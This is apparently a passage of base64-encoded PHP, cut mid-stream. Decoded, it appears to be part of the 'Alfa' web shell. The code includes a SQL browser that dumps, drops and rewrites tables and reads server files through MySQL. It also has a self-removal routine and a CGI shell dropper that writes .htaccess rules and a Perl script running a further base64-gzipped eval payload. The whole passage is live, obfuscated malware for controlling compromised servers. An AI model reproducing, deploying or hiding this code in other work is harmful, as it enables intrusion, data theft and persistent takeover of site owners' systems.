0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOyAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpeyAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+VGFibGVzOjwvZGl2Pjxicj48YnI+IjsgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOyAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpeyAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7ICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSBgJy4kdmFsdWUuJ2AnKSk7ICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7ICBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz1cImZzKCcwJywnIi4kdmFsdWUuIicpXCI+PHNwYW4gY2xhc3M9J215c3FsX3RhYmxlcycgc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0Oyc+Ii4kdmFsdWUuIjwvc3Bhbj48L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD48c3BhbiBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7JyBjbGFzcz0nbXlzcWxfdGFibGVfY291bnQnPih7JG5bJ24nXX0pPC9zcGFuPjwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOyAgfSAgZWNobyAiPHA+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPScgRHVtcCAnIG9uY2xpY2s9XCJmcygnNCcpO1wiIGNsYXNzPSdidXR0b24nPiA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nIERyb3AgISAnIG9uY2xpY2s9XCJmcygnNScpO1wiIGNsYXNzPSdidXR0b24nPjwvcD48ZGl2IGNsYXNzPSd0eHRmb250Jz5GaWxlIHBhdGg6PC9kaXY+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkdW1wZmlsZScgbmFtZT0nZmlsZScgdmFsdWU9J2R1bXAuc3FsJz4iLigkZHVtcFN0YXR1cz8nPHA+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJ2R1bXAuc3FsXCcsIFwnZG93bmxvYWRcJykiPjxmb250IGNvbG9yPSIjMEYwIj5+IERvd25sb2FkIEZpbGUgfjwvZm9udD48L2E+PC9wPic6JycpLiI8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7ICBpZihAJF9QT1NUWydhbGZhMSddID09ICdzZWxlY3QnKXsgICRfUE9TVFsnYWxmYTEnXSA9ICdxdWVyeSc7ICAkX1BPU1RbJ2FsZmEzJ10gPSAkX1BPU1RbJ2FsZmEzJ10/JF9QT1NUWydhbGZhMyddOjE7ICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NIGAnLiRfUE9TVFsnYWxmYTInXS4nYCcpOyAgJG51bSA9ICRkYi0+ZmV0Y2goKTsgICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOyAgZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ2FsZmEyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2FsZmEzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydhbGZhMyddKSAuICI+IjsgIGVjaG8gIiBvZiAkcGFnZXMiOyAgaWYoJF9QT1NUWydhbGZhMyddID4gMSkgIGVjaG8gIiA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPWZzKCcxJywnW1wiIi4kX1BPU1RbJ2FsZmEyJ10uIlwiLFwiIi4oJF9QT1NUWydhbGZhMyddLTEpLiJcIl0nKT4mbHQ7IFByZXY8L2E+IjsgIGlmKCRfUE9TVFsnYWxmYTMnXSA8ICRwYWdlcykgIGVjaG8gIiA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPWZzKCcxJywnW1wiIi4kX1BPU1RbJ2FsZmEyJ10uIlwiLFwiIi4oJF9QT1NUWydhbGZhMyddKzEpLiJcIl0nKT5OZXh0ICZndDs8L2E+IjsgICRfUE9TVFsnYWxmYTMnXS0tOyAgJGNhY2hlX3RhYmxlID0gJF9QT1NUWydhbGZhMiddOyAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpICAkX1BPU1RbJ2FsZmEyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ2FsZmEyJ10uJ2AgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsnYWxmYTMnXSozMCk7ICBlbHNlICAkX1BPU1RbJ2FsZmEyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ2FsZmEyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydhbGZhMyddKjMwKS4nLDMwJzsgIGVjaG8gIjxicj48YnI+IjsgIH0gIGlmKChAJF9QT1NUWydhbGZhMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pKSB7ICAkcHJpa2V5ID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCJTRUxFQ1QgQ09MVU1OX05BTUUgRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEuQ09MVU1OUyBXSEVSRSBUQUJMRV9TQ0hFTUEgPSAnIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInIEFORCBUQUJMRV9OQU1FID0gJyIuQGFkZHNsYXNoZXMoJGNhY2hlX3RhYmxlKS4iJyBBTkQgQ09MVU1OX0tFWSA9ICdQUkknIikpOyAgJGRiLT5xdWVyeShAJF9QT1NUWydhbGZhMiddKTsgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSl7ICAkdGl0bGUgPSBmYWxzZTsgIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjEiIGNlbGxwYWRkaW5nPSIyIiBjbGFzcz0ibWFpbiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSIgYm9yZGVyPSIxIj4nOyAgJGxpbmUgPSAxOyAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsgIGlmKCEkdGl0bGUpeyAgZWNobyAnPHRyPjx0aD4jPC90aD4nOyAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7ICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7ICB9ICByZXNldCgkaXRlbSk7ICAkdGl0bGU9dHJ1ZTsgIGVjaG8gJzwvdHI+PHRyPic7ICAkbGluZSA9IDI7ICB9ICBpZigkY2FjaGVfdGFibGUhPScnKXsgIAkkY2FjaGVNc2cgPSAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz1mcyhcJzJcJyxcJ1siJy4kY2FjaGVfdGFibGUuJyIsIicuKCEkcHJpa2V5WydDT0xVTU5fTkFNRSddPzA6JHByaWtleVsnQ09MVU1OX05BTUUnXSkuJyIsIicuX19aVzVqYjJSbGNnKGpzb25fZW5jb2RlKCghJHByaWtleVsnQ09MVU1OX05BTUUnXT8kaXRlbTokaXRlbVskcHJpa2V5WydDT0xVTU5fTkFNRSddXSkpKS4nIl1cJyk+RWRpdDwvYT4nOyAgfWVsc2V7ICAJJGNhY2hlTXNnID0nLSc7ICB9ICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPjx0ZD4nLiRjYWNoZU1zZy4nPC90ZD4nOyAgJGxpbmUgPSAkbGluZT09MT8yOjE7ICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKXsgIGlmKCR2YWx1ZSA9PSBudWxsKSAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOyAgZWxzZSAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOyAgfSAgZWNobyAnPC90cj4nOyAgfSAgZWNobyAnPC90YWJsZT4nOyAgfSBlbHNlIHsgIGVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsgIH0gIH0gIGVjaG8oJzwvZm9ybT4nKTsgIGlmKChAJF9QT1NUWydhbGZhMSddID09ICdlZGl0JykgJiYgIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkpeyAgJGRhdGEgPSBleHBsb2RlKCc6JywkX1BPU1RbJ2FsZmEzJ10pOyAgZWNobyAoJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlRhYmxlOjwvZGl2PiA8Zm9udCBjb2xvcj0iIzBGMCI+Jy4kZGF0YVswXS4nPC9mb250PjwvcD4nKTsgIGVjaG8oIjxmb3JtIG9uc3VibWl0PSdmc3UodGhpcyk7cmV0dXJuIGZhbHNlOyc+PHRhYmxlIGJvcmRlcj0nMSc+Iik7ICBpZigkZGF0YVsxXSAhPSAnMCcpeyAgJGRhdGFbMl0gPSBfX1pHVmpiMlJsY2coJGRhdGFbMl0pOyAgJGRhdGFbMl0gPSBzdHJfcmVwbGFjZSgnIicsJycsJGRhdGFbMl0pOyAgJGZldGNoID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAiLiRkYXRhWzBdLiJgIFdIRVJFIGAiLiRkYXRhWzFdLiJgID0gJyIuJGRhdGFbMl0uIiciKSk7ICAkZmV0Y2hbJ19fQUxGQUtFWSddID0gJGRhdGFbMV07ICAkZmV0Y2hbJ19fQUxGQUtFWVZBTCddID0gJGRhdGFbMl07ICB9ZWxzZXsgICRkID0gX19aR1ZqYjJSbGNnKCRkYXRhWzJdKTsgICRmZXRjaCA9IGpzb25fZGVjb2RlKCRkLCB0cnVlKTsgIH0gIGZvcmVhY2goJGZldGNoIGFzICRrZXkgPT4gJHZhbHVlKXsgIGlmKCRrZXk9PSdfX0FMRkFLRVknfHwka2V5PT0nX19BTEZBS0VZVkFMJyljb250aW51ZTsgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsgIGVjaG8oIjx0cj48dGQ+JGtleTwvdGQ+PHRkPjxpbnB1dCBuYW1lPScka2V5JyB2YWx1ZT0nJHZhbHVlJyAvPjwvdGQ+PC90cj4iKTsgIH0gIGVjaG8oIjwvdGFibGU+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nX19BTEZBREFUQScgdmFsdWU9JyIuX19aVzVqYjJSbGNnKGpzb25fZW5jb2RlKCgkZGF0YVsxXSAhPSAnMCc/YXJyYXkoJ19fQUxGQUtFWSc9PiRkYXRhWzFdLCdfX0FMRkFLRVlWQUwnPT4kZGF0YVsyXSk6JGZldGNoKSkpLiInPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J19fQUxGQVRCTCcgdmFsdWU9J3skZGF0YVswXX0nPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+Iik7ICB9ICBpZigoQCRfUE9TVFsnYWxmYTEnXSA9PSAndXBkYXRlJykgJiYgIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkpeyAgJGRhdGEgPSBqc29uX2RlY29kZSgkX1BPU1RbJ2FsZmEyJ10sIHRydWUpOyAgJGFsZmFkYXRhID0gJGRhdGFbJ19fQUxGQURBVEEnXTsgICRkYXRhMiA9IGpzb25fZGVjb2RlKF9fWkdWamIyUmxjZygkYWxmYWRhdGEpLCB0cnVlKTsgICRrZXl2YWwgPSBhcnJheSgpOyAgZWNobyAoJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlRhYmxlOjwvZGl2PiA8Zm9udCBjb2xvcj0iIzBGMCI+Jy4kZGF0YVsnX19BTEZBVEJMJ10uJzwvZm9udD48L3A+Jyk7ICBlY2hvKCI8Zm9ybSBvbnN1Ym1pdD0nZnN1KHRoaXMpO3JldHVybiBmYWxzZTsnPjx0YWJsZSBib3JkZXI9JzEnPiIpOyAgJHNldCA9ICcnOyAgZm9yZWFjaCgkZGF0YSBhcyAka2V5ID0+ICR2YWx1ZSl7ICBpZigka2V5PT0nX19BTEZBVEJMJ3x8JGtleT09J19fQUxGQURBVEEnKWNvbnRpbnVlOyAgaWYoJGRhdGEyWydfX0FMRkFLRVknXT09JGtleSl7ICAka2V5dmFsWydfX0FMRkFLRVknXSA9ICRrZXk7ICAka2V5dmFsWydfX0FMRkFLRVlWQUwnXSA9ICR2YWx1ZTsgIH0gICRzZXQgLj0gImAka2V5YCA9ICciLmFkZHNsYXNoZXMoJHZhbHVlKS4iJywiOyAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOyAgZWNobygiPHRyPjx0ZD4ka2V5PC90ZD48dGQ+PGlucHV0IG5hbWU9JyRrZXknIHZhbHVlPSckdmFsdWUnIC8+PC90ZD48L3RyPiIpOyAgfSAgdW5zZXQoJGRhdGFbJ19fQUxGQURBVEEnXSk7ICAgIGVjaG8oIjwvdGFibGU+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nX19BTEZBREFUQScgdmFsdWU9JyIuX19aVzVqYjJSbGNnKGpzb25fZW5jb2RlKChpc3NldCgkZGF0YTJbJ19fQUxGQUtFWSddKT9hcnJheSgnX19BTEZBS0VZJz0+JGtleXZhbFsnX19BTEZBS0VZJ10sJ19fQUxGQUtFWVZBTCc9PiRrZXl2YWxbJ19fQUxGQUtFWVZBTCddKTokZGF0YSkpKS4iJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdfX0FMRkFUQkwnIHZhbHVlPSd7JGRhdGFbJ19fQUxGQVRCTCddfSc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT4iKTsgICAgaWYoIWlzc2V0KCRkYXRhMlsnX19BTEZBS0VZJ10pKXsgICR3aGVyZSA9ICcnOyAgZm9yZWFjaCgkZGF0YTIgYXMgJGtleSA9PiAkdmFsdWUpeyAgaWYoJGtleT09J19fQUxGQVRCTCd8fCRrZXk9PSdfX0FMRkFEQVRBJyljb250aW51ZTskdmFsdWUgPSBhZGRzbGFzaGVzKCR2YWx1ZSk7ICAkd2hlcmUgLj0gImAka2V5YCA9ICckdmFsdWUnIEFORCAiOyAgfSAgJHdoZXJlID0gc3Vic3RyKCR3aGVyZSwgMCwgLTQpOyAgfWVsc2V7ICAkd2hlcmUgPSAiYHskZGF0YTJbJ19fQUxGQUtFWSddfWAgPSAnIi5hZGRzbGFzaGVzKCRkYXRhMlsnX19BTEZBS0VZVkFMJ10pLiInIjsgIH0gICRzZXQgPSBzdWJzdHIoJHNldCwgMCwgLTEpOyAgJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCJVUERBVEUgYHskZGF0YVsnX19BTEZBVEJMJ119YCBTRVQgJHNldCBXSEVSRSAkd2hlcmUiKSk7ICBpZigkZGItPmVycm9yKCkpICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7ICBlbHNlIGVjaG8oIlN1Y2Nlc3MuLi4hIik7ICB9ICBpZigkX1BPU1RbJ2FsZmExJ10hPSdlZGl0JyYmJF9QT1NUWydhbGZhMSddIT0ndXBkYXRlJyl7ICBlY2hvICI8cD5RdWVyeTo8L3A+PGZvcm0gb25zdWJtaXQ9J2ZzKHRoaXMpO3JldHVybiBmYWxzZTsnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3F1ZXJ5Jy8+Cjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOyAgZWNobyAkX1BPU1RbJ2FsZmExJ10hPSdsb2FkZmlsZSc/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEyJ10pOicnOyAgZWNobyAiPC90ZXh0YXJlYT48cD48Y2VudGVyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nICc+PC9jZW50ZXI+PC9wPjwvZm9ybT4iOyAgfSAgZWNobyAiPC90ZD48L3RyPiI7ICB9ICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7ICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgeyAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsgIGlmKCRkYi0+ZmV0Y2goKSkgIGVjaG8gIjxmb3JtIG9uc3VibWl0PVwiZnMoJzMnLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc3M9J3R4dGZvbnQnPkxvYWQgZmlsZTo8L2Rpdj4gPGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT0ndGV4dCcgbmFtZT0nZic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+IjsgIH0gIGlmKEAkX1BPU1RbJ2FsZmExJ10gPT0gJ2xvYWRmaWxlJyl7ICAkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydhbGZhMiddKTsgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsgIH0gIH1lbHNleyAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSk7ICB9ICBlY2hvICc8L2Rpdj4nOyAgYWxmYWZvb3RlcigpOyAgfSAgZnVuY3Rpb24gYWxmYXNlbGZybSgpeyAgaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddPT0neWVzJyl7ICBlY2hvKF9fcHJlKCkuJzxjZW50ZXI+Jyk7ICBpZihAdW5saW5rKCRHTE9CQUxTWydfX2ZpbGVfcGF0aCddKSl7ICBlY2hvKCc8Yj5TaGVsbCBoYXMgYmVlbiByZW1vdmVkPC9pPiA6KTwvYj4nKTsgIH1lbHNleyAgZWNobyAndW5saW5rIGVycm9yISc7ICB9ICBlY2hvKCc8L2NlbnRlcj4nKTsgIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTEnXSE9J3llcycpeyAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+IjsgIGVjaG8gIgo8Y2VudGVyPjxwPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvZmFydmFoYXItaXJhbi5wbmdcIj48L3A+IjsgIGVjaG8gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRvIHlvdSB3YW50IHRvIGRlc3Ryb3kgbWU/ITwvZGl2PjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwneWVzXCcpOyI+IFllczwvYT4nOyAgZWNobyAnPC9wPjwvY2VudGVyPjwvZGl2Pic7ICB9ICB9ICBmdW5jdGlvbiBhbGZhY2dpc2hlbGwoKXsgIGFsZmFoZWFkKCk7ICAkZGl2ID0gIiI7ICBpZighaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLGFycmF5KCdwZXJsJywncHknKSkpeyAgJGRpdiA9ICI8L2Rpdj4iOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDR0kgU2hlbGwgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0icnVuY2dpKFwncGVybFwnKSI+fCBQZXJsIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9InJ1bmNnaShcJ3B5XCcpOyI+fCBQeXRob24gfCA8L2E+JzsgIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJmluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSxhcnJheSgncGVybCcsJ3B5JykpKXsgIEBta2RpcignY2dpYWxmYScsMDc1NSk7ICBAY2hkaXIoJ2NnaWFsZmEnKTsgIGFsZmFjZ2lodGFjY2VzcygnY2dpJyk7ICAkbmFtZSA9ICRfUE9TVFsnYWxmYTEnXS4nLmFsZmEnOyAgJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO2V2YWwoQ29tcHJlc3M6OlpsaWI6Om1lbUd1bnppcChkZWNvZGVfYmFzZTY0KCJINHNJQUFBQUFBQUEvNlVaRFhmVFJ2S3ZMQnRoU1JCYnRrdGF6ckpjUXVKQTNpVWhseGp1OWFKZ1pHbHQ3ME9XVkgyUXBNYjk3VGV6dTdLa0VLQzB5VU9SWnVkN1ptZG1seUpqNVBUNGREd1l2UFF5OXZNenV3REFFUStaQkVUZWlnblF3VTFBZEcrV1RSTXZYK3EyNWkvNE5PQXBjUWc4RWNzb0Z3MnRhNXEyOWw4ZW5VMWd1V3RyWjVPRFZYREpFdmlpTFdwcmJ5TitXMEZzZ0J6RXE1VVhCUk8rWW5HUkh4YXBsL000Z3RVZWtGOHU0NXZETzVEQi9UZEZuaFE1d20wTnRCS0M0V3ZCOGpCZThJaDgvb3p2eVUzQkEwTWJtdmhOdlhEdW9ZaFNvS0ZVKzVWVWlnMUlUU2xUSUorRHdYVms2Z2NVOEdoeUUxREFPQWRMNy9PanJpdFFMRVM0WU9BWTV1ZHgyc1FoL1ZHclIzcWpWbC9nNGx0UHdJQW9LMmJrZ25uQnVaZUN5OWRoN0hzaE1aN3d5QVFlTDZhRXorRnBLN0RHZDRrRzcvRDh5TzdnK2NrTFFlNXBFZVk4OGRMOEtFNVhoMTd1QWFrMlBudTMxZy9lbkUzR1o1UHA1TGZ6c2I0aHpwL0VXcFhJcmpVSDlIWUErRGFaeFVVVWVPbWRZM1NlbXBwbDg3a2hPVnlNLy9OMmZEbVpubzRucjk4Y0FnLzJPNkd2eGhOcXJqVWViUVVCMHNWdjA4dkp4ZkhaSzMxamIxaVlmWnZGK1p0TDVKR0M2Y2JsNVBENERLemgwZTQ5dlUvR1o2OG1yL1dOYVcrMjdQNnVUYUR3U3dVQnRmVjJXKzlvUGZ0RnlEUE1yaXdKZVc1WVd4Ukw2QVBPZlEwYXN2UmxIQ0NWaHRoWHZlc21HRFJ3VXpmQ2Y1L2hUMlNWeTBqeHdkWktZcjE4L1pOa2drS3pBSlZIYTMwT3V3K1ZSbnVJUUtwWUFIZGN4cngzWElxMnVMUWtrL2k5MnBkZ1RTMXJjUitXSVF5OEEwbms5RzFsaWNhdjRaVS9mUXJPS1FFUy8zM25xWkFvVkt3dkFYZkR2VkZLUUJZcUJTQVRsWW5pRFZrWTc0MkdXMHp6c3dCbzhLV1pRc1V0N21PajB6R3R4UE0vR3RTbnUyVEpiZzJ0WjVyV2dnbERVSkt3RlNqc0RhWVhXNzhRK2FjQzF5b0RCaVl5ejEvQ0J6RzZwTk1oMmc2QU1Wa3I0OXluRmdIeFJtMFhWWndjeVFteGQwbmZWRVorVjhrZk5LVURaZER0VXR6ZlJzRG1QR0pRdnNwVkxLWjFUR1gxQm92RjJ5U012UURMOWRwZnhvbWhUYndVQ3VBWkJNc1UzR29BZE5oQmthWXN5Zzk1YXFKK0srdktkVjNyR3ZhNE5rbTlLSnV6RkptSnRVZkcxWHZydmV0ZVB6RzFSM2FkRVNxaDZoL3VHcldFaEpmOEQ1VERvOXlBSkYxZ00yaG10RWtzcU9uOVp5WVdsVGhoa2ZIMi9PVE4vdUhSOGNsNGw5QlJUUXcxemZXTVI2czRZRFVrWVphc3BuYVNnaUJTclpGN3dtdy9qTE1Hc1NLaHBiRXNJUGUxLy9mTGpodFJoYWhQbG93Z1EwTDF6a3oxdzRhWE96b2xOMTVHQ2hFSjRKY1Z2cyt5YkY2RTRWMUhsOG1wcEI1NXFCcjBta2ZVbHZFN3h3VVVyUUlKOVlxc05TeGJXSldHUHNTS3BhT2hBTVFSVUt4NDd0Qjh5Yk9PL09nRVBQTm13TlhKMDRMWllpWG9RSVlVekpubHNXY1VFY3Q4TDJFR2kzenc1TnVMWStpMVNSd0JaNk9PYlVLYVVRSkkrVjNDSExvdG9sVU5wV1RGOG1VY09MSmNFOC9ISHUyQVk3UkxQK1ZKZmdKOUNVSGdrdEV3OUdZc0pFRHNVT1dhRktCWjRrV0VBNHZwZEk2dUxCSUFXZ2dka1dHV3AzRzBHTFdpV1piWThubXdqQ0dDeEJNeEFFU0pNYlFFOTlHUVJ6Z05aUGxkQ0NxREo1TFF1eHRFWUJ5WWdsSzJrc0Y1L3RLTEZvZ1crOFVLck85QUJNY2h3OWVYZDhlQjRlcGJuVnpkN1BBb1l1bnJ5ZW1KSTd5RThyT3I3blZIREVTVVNDOGhsQkpSR3VtY2tnenl4NkUvN2RGU003a2lJMVhTbEY4eVJrckZMWVhFV2ZJZ1lGSEpPZGdpZzZ1ckhTemMvSFVxNzBzUklwYndSNldWTGhyN0ZLd1NUVGhsZVpGR29nM2pDeEZwYU5jVFdFR3F6RDMzRmt4MnByVTJGdmtWVlBvMTY0MzlFSUpvREZmdnZmWWYrKzMvZGR2L3VqWXQvYkhlS1NKWk1GOC9vYnRRTEMyMktQZnRRUXlhUjNrYkRSNlFuTjNtMWpKZmhkaFF0bHQyaUpEUmNBbDZqWVk1ejBNMk9rREJaSFpIOWsrTzlzbUU3WitTTmpsNGRVek9XUm9PTFlrMEZIazBlcktHQ1RTRUVpd1RhYk96VFl2MUhQeVlEMGpLRjh2Y2pqK3hGQUEzQStsMjI0L0RPQjNzOVBmbTgyN1h2dUZCdmh6MG5uV1RXN3RNVENpTHlMYzlnNkh0bzQzS3Q3ZE1DQXREbm1ROHMyK1dQR2R0MkJJK1dCakZONm1YMkJ1Ujcrc1ZsQjBldFlYOEFaUlI0QTMwT1lkeHNPMkZmQkVOeUFxVUNaazlpMU1JQ3VBa3R5U0xReDRRS0hYMkRMeTZTSEdtQWQ5aEJZUU5EdDRFN050MnR2UUMxS01MdjgrQWFxYzcvcW43YkY5eGFxZGV3SXRzZ0V2S050TGZRd1YreEF5L1NEUHdFVWxpamduNEZjZElZNG5jNit1NnptaURpa0hJNW5tcFNFOTRZaU8yd3BYWUNuS1BYYStWd0ZKZW5aY0k3c051a3BFa2NZb0Y0eUVIYkhiOFZiRCtXOXhLMy8yQ0tqOFF6d2VrSlY0UThHalJWazdLY3FqS0E3TDM1UXBEVFJDK3dhQkFhRDNZeWxpVGxINk52SzVwWDFPK0ZGelRwVzdQenBINEtRVVBlajhEbWtyOHZlZiszdDd6TXZHNzNjZlZEdkdLUExZM1dMNXhndzB0dVRWbk9QM0dFZGFtYjFWbGNEWFc0emtnWkFiMnFObENTSFRvVGxmOFFHR05FK2xLaDhJWHBrYnRVNzRLdFdyZlM0Wk9Gd0IwRmpDVHBrR1ZySm91VkJNbENnSkpSMWRrT0t0S0NYaUVrY3dMU0F2Uzl4UFBPSFJoOHFjQXE2OFhpeFUwL0k0ZnI0YldiRVN1c2Y1R2VWVi9oemwyYmlMZDdOQWVEQkpTUy9RZUpUN3NKZHcvNEdpaEozNHJ4enUwRDRybXlDSm9FQ210NTdEckhQcU9wWUVYZVdWZlFoSlFvMkhYVHI4Lzd2ZWZpNVhMU25OeXNPQ3FOczVHU20wQ3RUZUM4eXhZbjhjRW16NUxJY0E0QkhWMGlaY0grTURHMG13UlIzRU05cFpUa05KN1JEdXRCOFlmWTl1SE9yVGlDQS8wRmZ6RnJNRVV3aHBQYTNMVURjSUpKUGd4RmdMa3RkYk9VeGgyOEVSWG5iOXJQV2xFeEJFYzRpcm1FamxINkNxZnV6LzlBaTYxZGRCemU5V0FLb2xoNWNYM0tHck9vZFdBOHlWTmZ6Wm52VDJncWFsVjRsKzdHcUYyTlEyaU0yWS9QQTNLbGVXOUplajhqVldZbGh4WFg4Sk9XemRtU0ZlSFNLdTdubzd1Nmh1eDZ2L1FoT2xYRStZL25VKzNvOWFQaktKL2E3SUNnRX